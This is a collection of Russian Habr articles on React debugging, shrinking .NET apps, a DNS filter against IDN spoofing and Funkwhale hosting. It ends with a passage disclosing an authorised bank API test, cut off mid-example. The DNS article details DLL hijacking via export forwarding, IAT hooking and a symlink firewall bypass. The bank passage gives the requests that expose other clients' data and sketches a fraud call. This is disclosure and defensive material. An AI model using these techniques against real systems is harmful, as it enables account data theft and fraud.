* react-devtools\* - несколько пакетов для отладки react приложений на более высоком уровне, чем просто javascript код
Сборка react
------------
В разделе contribution на сайт reactjs.org можно найти инструкцию как запустить react в режиме разработчика, как на существующем проекте, так и используя фикстуры, хранящиеся в репозитории react:
<https://reactjs.org/docs/how-to-contribute.html#development-workflow>
Интересно что информация в русской и англоязычных версиях документации отличается:
Отсутствующий раздел в русскоязычной документации reactВоспользуемся следующей командой для сборки:
```
yarn build react/index,react-dom/index --type=UMD
```
И откроем файл:
```
fixtures/packaging/babel-standalone/dev.html
```
Для поддержки преобразований jsx используется самый простой путь - подключается babel через тэг script:
```
ReactDOM.render(
<h1>Hello World!</h1>,
document.getElementById('container')
);
```
### Исходный код и отладка
Перейдем непосредственно к отладке и разбору исходного кода.
Первый и вариант, который никогда не стоит забрасывать - хождение по исходному коду. React использует библиотеку для строгой типизации - flow, поэтому из ключевых участков кода можно почерпнуть информацию не только из javascript'а, но в том числе из типов. Также во многих местах содержатся объемные комментарии, описывающие не только текущее место, но и концептуально где это может использоваться и зачем.
### Пара слов про flow
Если вы просто разбираетесь как работает react, то глубоких знаний flow не нужно, достаточно просто понимать что за двоеточием тип, а дальше гуглить по ситуации.
Например по конструкции
```
{| описание типа |}
```
можно понять что она относится к объектам и найти информацию в разделе документации связанным с этим.
<https://flow.org/en/docs/types/objects/>
Абзац документации flow про точный объектный типЕсли вы хотите принимать активное участие в разработке react, то без использования flow.js не обойтись. К сожалению flow стал довольно закрытым проектом, который использует, в основном, facebook для своих целей, об этом довольно завуалировано написал Vladan Djeric в описании куда движется flow:
<https://medium.com/flow-type/clarity-on-flows-direction-and-open-source-engagement-e721a4eb4d8b>
По flow.js есть хороший курс на youtube от Ильи Климова, который был заброшен, из-за смены вектора развития библиотеки. Последнее видео - ноябрь 2018, но во flow за более чем 2 года ничего принципиально не поменялось.
Before you continue to YouTube[consent.youtube.com](https://consent.youtube.com/ml?continue=https://www.youtube.com/playlist?list%3DPLvTBThJr861zvILAjREUakZ6E5l7h7lsZ&gl=EE&hl=en&pc=yt&uxe=23983172&src=1)### Отладка сверху вниз
Собрали реакт, открыли, например, фикстуру `fixtures/packaging/babel-standalone/dev.html` в браузере, и начинаем отладку.
Отладкой сверху вниз я условно называю нахождение в исходном коде функции render из react-dom, простановки в ней брейкпоинта и идти вниз по функциям, разбираясь шаг за шагом что происходит, при этом не видя всей картины.
Функция render библиотеки react-dom### Отладка снизу вверх
Есть более интересный вариант разбирания цепочки вызовов, чем идти шаг за шагом вниз. Условно назвал этот метод отладкой внизу вверх.
На вкладке Performance в Chrome нажимаем `Start profiling and reload page`, ждем пару секунд и останавливаем работу профайлера.
Профайлинг приложения, используещего babel.js через тег scriptСреди кучи вызовов babel'я, видим небольшое дерево работы react.js, начинающееся с функции render.
Находим из интересующего поддерева самую нижнюю функцию, например для commitRoot, в данном случае, это функция `insertOrAppendPlacementNodeIntoContainer`, нажимаем на нее:
Нижняя функция в работе процедуры commmit библиотеки reactВ блоке Summary видим ссылку на функцию, кликаем, попадаем на вкладку Source
Функция из react-dom библиотекиСтавим брейкпоинт где-нибудь внутри, обновляем страницу. Это дает стек вызовов, по которому мы дошли до этого места:
Стек вызовов при комите react приложенияlegacy функция связана с тем, что уже написано много кода для react 18, и часть функций становятся устаревшими.
По такому стеку мы сразу видим что было вызвано, можем пройтись по функциям, и исследовать именно то что нужно. Выглядит не так страшно как могло казаться, а когда начинаешь разбираться функция за функцией, то почти везде код написан качественно, функции небольшие по размеру, легко читаются. И если есть понимание как работает fiber, полученное из статей и докладов, то понять что происходит не такая уж сложная задача.
Аналогично можно исследовать любые возможности, очевидно что надо для этого сделать: подготовить проект, запустить профайлер, произвести действия на странице, чтобы вызвалось то что хотим исследовать, остановить профайлер, в графе профайлера найти нужные функции и начать исследование.
Например создаем такой код:
```
const App = () => {
const [count, setCount] = React.useState(0);
return (
<div>
<h1>Count: {count}</h1>
<button onClick={() => setCount(count + 1)}>Increase</button>
<button onClick={() => setCount(count - 1)}>Decrease</button>
</div>
);
}
ReactDOM.render(
<App />,
document.getElementById('container')
);
```
Нажимаем Increase с запущеным Performance сбором информации и смотрим что получилось:
Performance при изменении стейта в react компонениеupdateState просто вызывает updateReducer, который, в свою очередь, уже делает всю работу по изменению state. updateReducer не самая хорошая функция, примерно 150 строк, но при этом содержит много комментариев, облегчающих понимание работы.
Зачем вообще это нужно?
-----------------------
Количество пользователей и разработчиков библиотеки reactВо первых, конечно, для интереса. Если вам не достаточно просто работать с библиотекой react как пользователь (программист-пользователь, который использует её в своем коде, но не разрабатывает), и интересно как это всё устроено изнутри, то можно войти в небольшое комьюнити разработчиков react.
Можно попытаться использовать такой путь для карьерного роста, из топ 10 react контрибьюторов, по количеству комитов - 8 работают в facebook. Хотя, конечно, комиты бывают разные.
14 комитов за 120 строк и за 4000Можно просто набратся опыта как разрабатываются и развиваются топовые библиотеки - законодатели мод в сфере front-end разработки, но для этого, конечно, надо участвовать в обсуждениях, глубоко вникать в ключевые изменения и активно контрибьютить.
Куда копать дальше и источники информации
-----------------------------------------
Конечно же основной источник информации - документация, после нее идут выступления и статьи основных разработчиков react, обычно это Dan Abramov, но также можно найти выступления и статьи от других контрибьюторов.
Обычно после каких-либо публикаций, энтузиасты разбираются в этих возможностях и делают доклады, например по теме concurrent в react уже можно найти несколько видео на просторах youtube.
Плейлист с анализом исходников react 17 и рисованием диаграмм как это работает от JSer (на английском): <https://www.youtube.com/playlist?list=PLvx8w9g4qv_p-OS-XdbB3Ux_6DMXhAJC3>
### Просто исследовать - скучно
Просто разбираться как что-то работает утомительно, и я советую как можно раньше перейти к активной фазе - написанию кода, для первых комитов специально [создан тег в github](https://github.com/facebook/react/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) - `good first issue`.
Работа над первым изменением позволит ковыряться не просто так, а с гораздо большим интересом.
Надеюсь было полезно и интересно. Спасибо за внимание! | https://habr.com/ru/post/569564/ | null | ru | null |
# Уменьшить размер консольного .NET 5.0 приложения
На английском: [Shrinking .NET Console Application](https://habr.com/ru/post/549530/)
Target Framework Moniker
------------------------
Давайте знакомиться. В .NET 5.0 для использования Windows Forms или WPF нам недостаточно просто указать net5.0:
```
net5.0
true
```
При попытке использования Windows Forms или WPF мы получаем ошибку
```
C:\Program Files\dotnet\sdk\5.0.201\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.Sdk.DefaultItems.targets(369,5): error NETSDK1136: The target platform must be set to Windows (usually by including '-windows' in the TargetFramework property) when using Windows Forms or WPF, or referencing projects or packages that do so.
```
Решение, как подсказывает ошибка состоит в указании [Target Framework Moniker](https://docs.microsoft.com/en-us/dotnet/standard/frameworks)
```
net5.0-windows
true
```
Как это работает
----------------
При сборки автоматически импортируются файлы из Microsoft.NET.Sdk\targets.
Далее в dotnet\sdk\5.0\Sdks\Microsoft.NET.Sdk.WindowsDesktop\targets\Microsoft.NET.Sdk.WindowsDesktop.props содержится код:
```
```
Где проблема
------------
Дело в том, что FrameworkReference это транзитивная зависимость: [Документ дизайна .NET](https://github.com/dotnet/designs/blob/main/accepted/2019/targeting-packs-and-runtime-packs.md) , [Документация NuGet](https://github.com/NuGet/Home/wiki/%5BSpec%5D-FrameworkReference-in-NuGet)
Это значит, что если у нас есть где-то сборка, которая использует тип из Windows Forms или из WPF мы должны будем все зависимые сборки перевести на 'net5.0-windows'.
Это грозит нам тем, что мы добавляем в результирующий файл потенциально ненужный хлам.
Если весь код использует Windows Forms или WPF проблемы нет, а если мы в итоге создаём консольное приложение то получаем дополнительные 60МБ.
Пример
------
Библиотека
```
using System.Windows.Forms;
namespace Library
{
public class Demo
{
void ShowForm()
{
var f = new Form();
f.Show();
}
}
}
```
Консольное приложение зависимое от библиотеки.
```
using System;
class Program
{
public static void Main()
{
Console.WriteLine("Hello World!");
}
}
```
Обратим внимание, что мы не используем класс Library.Demo, а только добавляем зависимость в сборке.
Соберём самодостаточное приложение с помощью dotnet publish:
```
dotnet publish ConsoleApp.csproj --self-contained -c Release -r win-x64 /p:PublishSingleFile=true /p:PublishTrimmed=true /p:IncludeAllContentForSelfExtract=true
```
Результат 81,8МБ!
Благодаря IncludeAllContentForSelfExtract при запуске приложение в %TEMP%\.net мы можем посмотреть из чего оно состоит.
Как же так ?
Мы не использовали Library.Demo, мы указали PublishTrimmed, а Windows Forms к нам пришёл.
Решение
-------
Как видим dotnet publish при обычных настройках не справился со своей работой, поэтому поможем ему !
### Шаг 1
В библиотеке укажем вручную зависимость фреймворка и попросим не создавать транзитивную зависимость:
```
net5.0
true
```
Документация для [DisableImplicitFrameworkReference](https://docs.microsoft.com/en-us/dotnet/core/project-sdk/msbuild-props#disableimplicitframeworkreferences)
Ключевая часть [PrivateAssets="all"](https://docs.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#controlling-dependency-assets). которая не даёт зависимости распространяться дальше.
### Шаг 2
Меняем .net5.0-windows на .net5.0 в нашем консольном приложении
### Результат
Собираем той же командой:
```
dotnet publish ConsoleApp.csproj --self-contained -c Release -r win-x64 /p:PublishSingleFile=true /p:PublishTrimmed=true /p:IncludeAllContentForSelfExtract=true
```
Получаем файл размером всего 18.8МБ со следующим содержимым
Заключение
----------
Стоит ли делать так в библиотеках?
Однозначно да!
С одной стороны это позволяет использовать типы из Windows Forms или WPF, с другой стороны у сборщика получается выкинуть всё неиспользованное и выдать меньший размер файла. | https://habr.com/ru/post/548442/ | null | ru | null |
# Пишем плагин к Microsoft DNS server для защиты от IDN spoofing
IDN spoofing — это генерация доменных имён «похожих» на выбранное, обычно применяемая с целью заставить пользователя перейти по ссылке на ресурс злоумышленника. Далее рассмотрим более конкретный вариант атаки.
Представим, что атакуемая компания владеет доменом organization.org, и внутри этой компании используется внутренний ресурс portal.organization.org. Цель злоумышленника -получить учётные данные пользователя, и для этого он присылает ссылку через e-mail или используемый в компании мессенджер.
Получив подобное сообщение с большой вероятностью можно не заметить, что ссылка ведёт куда-то не туда. После перехода по ссылке будет запрошен логин\пароль, и жертва, думая, что находится на внутреннем ресурсе, введёт данные своей учётной записи. Шансы злоумышленника особенно высоки, если он уже проник за периметр, скомпрометировав систему любого сотрудника, и теперь борется за привилегии системного администратора.
Абсолютной «защиты от дурака» тут придумать не получится, но можно пробовать перехватить эту атаку на этапе разрешения имени через dns-запрос.
Для защиты нам понадобится последовательно запоминать встречаемые имена в перехваченных dns-запросах. В компании пользуются её внутренними ресурсами, значит мы достаточно быстро обнаружим в запрос на portal.organization.org. Как только мы встретили имя «похожее» на ранее встречавшееся, мы может подменить dns-ответ, вернув ошибку вместо ip-адреса атакующего.
Какие могут быть алгоритмы определения «похожести»?
* UTS39 Confusable Detection (http://www.unicode.org/reports/tr39/#Confusable\_Detection) Юникод — это не только ~~ценный мех~~ таблица символов, но ещё и куча стандартов и рекомендаций. В UTS39 определен алгоритм нормализации unicode строки, при котором строки, отличающиеся омоглифами (например русская „а“и латинская „a“) будут приведены к одинаковой форме
* Слова отличающиеся перестановками внутренних букв. Довольно легко спутать organization.org и orgainzation.org
* Замена домена первого уровня. Первый уровень имени обычно не несёт никакого смысла и сотрудник компании увидев «organization» может проигнорировать разницу в .org или .net, хотя тут возможны исключения
Вероятнее всего корпоративным сервером будет не bind, который стандарт скорее для web-хостеров или провайдеров, а microsoft dns server из-за повсеместного использования active directory. И первая проблема, с которой я столкнулся при написании фильтра к microsoft dns server – API для фильтрации dns-запросов я не нашёл. Эту проблему можно решать разными способами, я выбрал инжект dll и IAT хук на api работы с сокетами.
Для понимания методики будет необходимо знание PE-формата, подробнее можно прочитать, например, [здесь](https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files). Исполняемый файл состоит из заголовков, таблицы секций и самих секций. Сами секции – это блок данных, который загрузчик должен отобразить в память по относительному адресу (Relative Virtual Address – RVA), и все ресурсы, код, прочие данные содержатся внутри секций. Также внутри заголовка присутствуют ссылки (RVA) на ряд необходимых для работы приложения таблиц, в рамках этой статьи будут важны две –таблица импорта и таблица экспорта. Таблица импорта содержит список функций, которые необходимы для работы приложения, но находятся в других файлах. Таблица экспорта – это «обратная» таблица, в которой содержится список функций, которые экспортируются из этого файла, либо, в случае export forwarding, указывается имя файла и имя функции для разрешения зависимости.
Инжект dll будем делать без всем надоевшего CreateRemoteThread. Я решил использовать PE export forwarding – это давно известный приём, когда для того, чтобы загрузится в нужный процесс, в каталоге с exe-файлом создаётся dll с именем равным имени любой dll из таблицы импорта exe-файла (главное не использовать HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs ). В созданной dll копируется таблица экспорта из целевой dll, но вместо указателя на код экспортируемой функции, нужно записать RVA на forward-строку вида «endpoint!sendto». Сам microsoft dns server реализован в виде сервиса HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\services\DNS, который находится в %systemroot%\system32\dns.exe
Итоговый алгоритм инжекта в dns сервер будет таким:
* Создаём каталог %systemroot%\system32\dnsflt (можно любой другой, нахождения каталога именно в system32 необязательно).
* Копируем туда %systemroot%\system32\dnsapi.dll – это dll из которой dns.exe что-то импортирует, можно выбрать любую другую “не knowndll”.
* Переименовываем скопированную dll в endpoint.dll — это имя будем использовать в forward-строке.
* Берём нашу инжектируемую dll и дописываем в неё правильную таблицу экспорта, копируем нашу dll в %systemroot%\system32\dnsflt
* В реестре в ключе HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\services\DNS меняем в ImagePath новый адрес бинарника %systemroot%\system32\dnsflt\dns.exe
* Создаём симлинк из %systemroot%\system32\dnsflt\dns.exe в %systemroot%\system32\dns.exe
А зачем последний шаг? Дело в том, что в windows есть встроенный firewall, и, по умолчанию, в windows server право слушать 53 порт есть только у приложения %systemroot%\system32\dns.exe. При попытке запустить его из другого каталога прав на доступ к сети не будет. А зачем я его вообще копировал? Для того, чтобы минимизировать воздействие на всю систему и не трогать оригинальный dnsapi.dll. Получается, что если уметь создавать symlink на приложение, то можно получать его сетевые права. По умолчанию, права на создание symlink есть только у администраторов, но достаточно неожиданно обнаружить, что выдав пользователю право на создание symlink, ты даёшь ему возможность обходить встроенный firewall.
После того как загрузились внутрь процесса из DllMain, можно будет создать поток и установить перехват. В самом простом случае наш dns сервис будет сообщать клиенту ip-адрес для имени через отправку UDP-пакета с 53 порта через фукнцию sendto из ws2\_32.dll. Стандарт предполагает возможность использования 53 TCP-порта, если ответ слишком большой, и очевидно, что перехват sendto в этом случае будет бесполезен. Однако, обработать случай с tcp хоть и более трудоёмко, но можно аналогичным способом. Пока расскажу самый простой случай с UDP. Итак, мы знаем, что код из dns.exe импортирует из ws2\_32.dll функцию sendto и будет использовать её, чтобы ответить на dns-запрос. Для перехвата функций тоже достаточно много разных способов, классический это сплайсинг, когда первые инструкции sendto заменяются на jmp в свою функцию, а после её завершения осуществляется переход на сохранённые ранее инструкции sendto и далее внутрь функции sendto. Сплайсинг будет работать даже если для вызова sendto будет использован GetProcAddress, а не таблица импорта, но если используется таблица импорта, то вместо сплайсинга проще использовать IAT-хук. Для этого нужно найти в загруженном образе dns.exe таблицу импорта. Сама таблица имеет несколько запутанную структуру и за деталями придётся ходить в описание PE формата.
Главное — что система в процессе загрузки образа запишет в таблицу импорта указатель на начало функции sendto. Это значит, что для того, чтобы перехватить вызов sendto, надо просто заменить в таблице импорта адрес оригинальной sendto на адрес своей функции.
Итак, мы установили перехват и начали получать данные. Прототип функции sendto выглядит так:
```
int sendto(
_In_ SOCKET s,
_In_ const char *buf,
_In_ int len,
_In_ int flags,
_In_ const struct sockaddr *to,
_In_ int tolen
);
```
Если s – это сокет на 53 порту, то по указателю buf будет лежать dns-ответ размером len. Сам формат описан в [RFC1035](https://www.ietf.org/rfc/rfc1035.txt), я кратко опишу, что нужно сделать, чтобы добраться до интересующих данных.
Структура сообщения в стандарте описана так:
В заголовке из нужной информации: тип сообщения, код ошибки и количество элементов в секциях. Сам заголовок выглядит так:
```
struct DNS_HEADER
{
uint16_t id; // identification number
uint8_t rd : 1; // recursion desired
uint8_t tc : 1; // truncated message
uint8_t aa : 1; // authoritive answer
uint8_t opcode : 4; // purpose of message
uint8_t qr : 1; // query/response flag
uint8_t rcode : 4; // response code
uint8_t cd : 1; // checking disabled
uint8_t ad : 1; // authenticated data
uint8_t z : 1; // its z! reserved
uint8_t ra : 1; // recursion available
uint16_t q_count; // number of question entries
uint16_t ans_count; // number of answer entries
uint16_t auth_count; // number of authority entries
uint16_t add_count; // number of resource entries
};
```
Секцию Question придётся разобрать для того, чтобы добраться до Answer. Сама секция состоит из такого количества блоков, которое указано в заголовке (q\_count). Каждый блок состоит из имени, типа и класса запроса. Имя закодировано в виде последовательности строк, каждая из которых начинается с байта с длиной строки. В конце находится строка нулевой длины. Например, имя homedomain2008.ru будет выглядеть так:
Секция Answers выглядит похожим образом: блок состоит из имени, типа, класса, ttl и дополнительных данных. IP-адрес будет содержатся в доп. данных. С разбором имени возникает ещё одна сложность. Видимо, для уменьшения размера сообщения, вместо длины метки, можно встретить ссылку на другую область данных. Закодирована она так: если 2 старших бита длины равны 11, то следующий байт, а также младшие биты длины, следует интерпретировать как смещение в байтах относительно начала сообщения. Дальнейший разбор имени нужно совершать, перейдя по этому смещению.
Итак, мы перехватили нужное API, разобрали dns-ответ, теперь нужно принять решение: пропускать дальше этот ответ или вернуть ошибку. Для каждого имени, которое ещё не присутствует в базе, из ответа нужно проверить, является ли оно «подозрительным» или нет.
Будем считать «подозрительным» такие имена, для которых результат функции skeleton из Unicode Technical Standard tr39 совпадает с результатом от любого из имён из базы, или те имена, которые отличаются от присутствующих в базе перестановкой внутренних букв. Для реализации проверок будем хранить 2 таблицы. Первая будет состоять из результатов skeleton для всех имён из базы, во вторую таблицу запишем строки, которые были получены из строк базы путём удаления первого и последнего символа из каждой метки кроме первого уровня, а затем сортировки оставшихся символов каждой метки. Теперь, если новое имя входит в одну из двух таблиц, то считаем его подозрительным.
*Смысл функции skeleton в определении похожести двух строк, для этого для каждой строки производится нормализация символов. Например, Xlœ будет преобразовано в Xloe, и таким образом, сравнивая результат функции, можно определить похожесть unicode-строк.*
С примером реализации описанного выше можно ознакомится на [github](https://github.com/100gold/dnsfilter).
Очевидно, что изложенное решение на практике предоставить нормальную защиту не может, т. к. помимо мелких технических проблем с перехватом, есть ещё большая проблема с детектированием «похожих» имён. Было бы неплохо обработать:
* Комбинации перестановок и омоглифов.
* Добавление\замену символов не учитываемых skeleton.
* UTS tr39 не исчерпывается skeleton, можно ещё ограничивать смешивание наборов символов в одной метке.
* Японскую полноширинную точку и другие label separator.
* А так же такие прекрасные вещи, как [rnicrosoft.com](http://rnicrosoft.com) | https://habr.com/ru/post/348428/ | null | ru | null |
# Funkwhale: наконец-то нормальный децентрализованный музыкальный сервис
Grooveshark уже пять лет как закрыт. За это время появились десятки проектов поменьше с той же идеей — но на базе децентрализованных сетей. Проблема Grooveshark была в его централизации, которая позволила правообладателям завалить компанию исками, в итоге потопившими её. С тех пор любая музыкальная платформа с пользовательским контентом обязательно включает в слоганы «децентрализацию», «peer-to-peer», «криптографию» и конечно, блокчейн. У всех общие проблемы: несмотря на использование федеративных сетей и модных протоколов, всё управление стартапом сосредоточено в одном офисе. Пока платформа слишком мала чтобы её заметили, она слабо развивается. Стоит ей дорасти до более-менее крупной пользовательской базы, и через несколько месяцев она тонет под напором DMCA и судебных исков.
Единственной жизнеспособной альтернативой, которая не закроется в любой момент, становятся community-driven проекты без головного офиса (и зачастую вообще без юрлица). Но даже в этом случае нет гарантии, что в один прекрасный день используемый вами сервер/хаб не накроется медным тазом, а значит нужна ещё и селф-хостед версия. Список сужается до единиц проектов, а если добавить вменяемый интерфейс и относительную легкость в развёртывании и использовании ноды, то мы останавливаемся на [Funkwhale](https://funkwhale.audio/).
Фичи
----
* Разумеется, проект бесплатный, децентрализованный, без стоящей над ним организации
* Редкое явление для подобных платформ, Funkwhale по протоколу Subsonic поддерживает сразу несколько (в том числе опенсорсных) [приложений](https://funkwhale.audio/en_US/apps/) на iOS и Android, на десктопе есть Clementine
* Вытекает из предыдущего, платформой можно пользоваться на всех девайсах, раздавая музыку, скажем, с домашнего хранилища
* Хостить свою ноду (здесь их называют подами) необязательно, можно слушать с чужих
* Каналы Funkwhale доступны из других федеративных сетей по протоколу ActivityPub
* Чтобы захостить свой под не нужно часами долбиться с настройкой, есть вагон готовых сборок, и главное — нормально настроенный докер-образ!
* У проекта хорошая поддержка комьюнити, как пользователей, так и разработчиков
* Это опенсорс.
Разворачиваем свой под
----------------------
Установить под можно на любую машину, и для вариантов с годами накопленных терабайтов музыки я бы рассматривал любой подкроватный сервер, подключенный к NAS. Кстати, судя по отдельным комментариям, под при желании можно запустить даже на Raspberry Pi, но я не проверял. У меня довольно мало музыки, поэтому я беру самый [дешёвый VPS](https://vdsina.ru/cloud-servers?partner=habr172) и разворачиваю систему на нём.
### Заказываем сервер
Это статья в корпоративном блоге, поэтому берём сервер у VDSina. Я выбираю копеечный вариант с убунтой, хотя можно взять и любую другю систему, даже Windows Server. Но зачем?
Не забудьте при создании подключить свой SSH-ключ, это удобнее, чем импортировать его вручную.
### Устанавливаем под
Самый простой вариант — поставить под из докера. Здесь нужно понимать нюанс использования: хорошей практикой считается импортирование всей музыки из прокси-каталога с символическими ссылками на реальные каталоги, которые при этом могут быть как угодно раскиданы по машине и даже лежать на примонтированном устройстве. При обычной установке Funkwhale может ходить по всему хосту и брать музыку откуда угодно. При установке в докере надо либо париться с пробросом, либо хранить всю музыку внутри контейнера. Для моего варианта с одним небольшим архивом музыки это подходит. Кстати, по умолчанию под ставится в один контейнер, но если вы планируете создать масштабный хаб с высокими нагрузками, можно рассмотреть атомарную установку, так как она отлично масштабируется. Здесь мы её рассматривать не будем, потому что это очень уж специфичный случай, но вот [ссылка](https://docs.funkwhale.audio/installation/docker.html#docker-multi-container) на мануал.
#### Docker
Разумеется, нужно установить сам докер и docker-compose. Подробно расписывать этот процесс нет смысла, вот доки: [docker](https://docs.docker.com/engine/installation/), [docker-compose](https://docs.docker.com/compose/install/).
#### Создаем пользователя funkwhale
```
sudo useradd -r -s /usr/bin/nologin -m -d /srv/funkwhale -U -G docker funkwhale
cd /srv/funkwhale
```
Логинимся и дальше работаем из-под него
```
sudo -u funkwhale -H bash
```
#### Создаем файл .env
```
touch .env
chmod 600 .env # reduce permissions on the .env file since it contains sensitive data
cat > .env << EOF
# Replace 'your.funkwhale.example' with your actual domain
FUNKWHALE_HOSTNAME=your.funkwhale.example
# Protocol may also be: http
FUNKWHALE_PROTOCOL=https
# This limits the upload size
NGINX_MAX_BODY_SIZE=100M
# Bind to localhost
FUNKWHALE_API_IP=127.0.0.1
# Container port you want to expose on the host
FUNKWHALE_API_PORT=5000
# Generate and store a secure secret key for your instance
DJANGO_SECRET_KEY=$(openssl rand -hex 45)
# Remove this if you expose the container directly on ports 80/443
NESTED_PROXY=1
EOF
```
#### Создаем docker-compose.yml
```
version: "3"
services:
funkwhale:
container_name: funkwhale
restart: unless-stopped
# change version number here when you want to do an upgrade
image: funkwhale/all-in-one:1.0.1
env_file: .env
environment:
# adapt to the pid/gid that own /srv/funkwhale/data
- PUID=1000
- PGID=1000
volumes:
- /srv/funkwhale/data:/data
- /path/to/your/music/dir:/music:ro
ports:
- "5000:80"
```
/path/to/your/music/dir — путь, по которому загружается музыка. Тот самый прокси-каталог, например.
#### Поднимаем сервис
```
docker-compose up -d
```
#### Настраиваем reverse-proxy
Установим nginx, так как на чистой системе его ещё не было
```
sudo apt-get update
sudo apt-get install nginx
```
Применяем следующие команды:
```
export FUNKWHALE_VERSION="1.0.1"
# download the needed files
curl -L -o /etc/nginx/funkwhale_proxy.conf "https://dev.funkwhale.audio/funkwhale/funkwhale/raw/1.0.1/deploy/funkwhale_proxy.conf"
curl -L -o /etc/nginx/sites-available/funkwhale.template "https://dev.funkwhale.audio/funkwhale/funkwhale/raw/1.0.1/deploy/docker.proxy.template"
```
```
# create a final nginx configuration using the template based on your environment
set -a && source /srv/funkwhale/.env && set +a
envsubst "`env | awk -F = '{printf \" $%s\", $$1}'`" \
< /etc/nginx/sites-available/funkwhale.template \
> /etc/nginx/sites-available/funkwhale.conf
ln -s /etc/nginx/sites-available/funkwhale.conf /etc/nginx/sites-enabled/
```
### Готово! Сервис доступен на порту 5000
Далее нужно будет зарегистрироваться в Funkwhale и импортировать музыку. Вот [подробные доки](https://docs.funkwhale.audio/admin/importing-music.html) для нетривиальных кейсов.
Заключение
----------
Я рад, что наконец-то нашелся нормальный селф-хостед сервис для музыки, с которым не нужно проводить часы за установкой и настройкой. Вся процедура занимает минут пять, а продвинутая конфигурация хорошо описана в документации. При этом количество остальных плюшек впечатляет, особенно возможность выбрать под себя нормальное приложение для прослушивания на телефоне.
Хорошего пользования!
---
#### На правах рекламы
[Виртуальные серверы с мгновенной активацией](https://vdsina.ru/cloud-servers?partner=habr172) на **Linux** или **Windows**. Сервер готов к работе через минуту после оплаты!
[](https://vdsina.ru/cloud-servers?partner=habr172) | https://habr.com/ru/post/528192/ | null | ru | null |
# Получение информации и обход двухфакторной аутентификации по картам банка из ТОП-10 (Украина)
В прошлом году украинский банк из ТОП-10 пригласил меня протестировать свои системы интернет- и мобильного банкинга на предмет уязвимостей.
Первым делом я решил начать с отслеживания запросов мобильного приложения. С помощью Fiddler (Burp или Charles) я начал рассматривать каждый запрос приложения, выполняя по очереди все доступные в своём аккаунте операции. Мобильный банкинг не был защищён SSL-pinning, поэтому это не составило особого труда.
В GET и POST-запросах я пытался подменять параметры, чтобы получить искомое, но достаточно долго мне это не удавалось – я получал ошибки вида «Доступ запрещён». Однако я таки нашёл нужные мне запросы.
Например:
1. Выполнив POST-запрос на адрес вида
```
https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint
```
С определёнными параметрами:
```
SOAPAction: urn:getChannels
Content-Type: text/xml
Content-Length: 780
Host: api.somebank.ua:8243
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.9.0
```
**тело запроса:**
```
594d608e-XXXX-XXXX-XXXX-31a7d4ddb016
ru
mobile
XXXXXXXXXXXXX
3618336
?
```
В ответ я получил довольно много информации о другом клиенте:
```
xml version='1.0' encoding='UTF-8'?ru
6176071
1
3618336
$1$51237890$8ADA0A63104D0FF189805755DCC31476
+380671234567
2017-11-13T14:55:20+02:00
9269642
2
8ac72969-58a9-3e82-89bd-4f51d389bd1f
3618336
$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90
+380671234567
Android
2018-06-01T12:51:27+03:00
eCPI8kc1XXX:APA91bEetJ21\_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D\_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI
9869792
2
8ac72969-58a9-3e82-89bd-4f51d3d8081f
3618336
$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D
+380671234567
Android
2018-06-01T12:49:48+03:00
eCPI8kc1XXX:APA91bEetJ21\_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D\_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI
```
Это следующие данные:
1. номер телефона клиента («phoneNumber»);
2. количество карт (каждый параметр «cardId»);
3. усечённые номера таких карт («hashNum»);
4. дата регистрации в интернет-банкинге («regDate»);
5. на каком устройстве используется приложение – Android или iOS («platform»);
6. и пр.
Меняя в теле запроса параметр «ib:clientId» (в ответе это «sbb:extClientId») с 3618336 на любой другой, получаем информацию по другому клиенту.
Идём дальше.
2. Теперь у тех клиентов, где «sbb:channelId» равен «2» (канал получения клиентом уведомлений: если 1 – SMS, 2 – push), берём clientId (extClientId) и подставляем его в GET-запрос на адрес
```
https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10
```
со следующими параметрами:
```
Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733
Content-Type: application/json
Host: api.somebank.com.ua
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.9.0
```
В ответ получаем push-уведомления, которые отправляются данному клиенту:
```
[{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"},
{"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"},
{"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}]
```
Здесь видно:
1. по какой карте была операция;
2. на какую сумму;
3. дату и время операции;
4. какая именно это была операция (покупка в магазине, снятие в банкомате или кассе, пополнение карты и т.д.);
5. торговая точка, где была осуществлена данная операция — включая код авторизации, необходимый для подтверждения платежа на платёжных сайтах — LookUp, VCODE, CardVerif — об этом чуть ниже;
6. баланс на карте после каждой операции.
Учитывая большое количество получаемых данных и используя социальную инженерию, существовала возможность выводить деньги с карт клиентов на платёжных сайтах.
Например, мошенник позвонит на +380509876543 со следующим разговором:
```
Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH
Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH
Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH
```
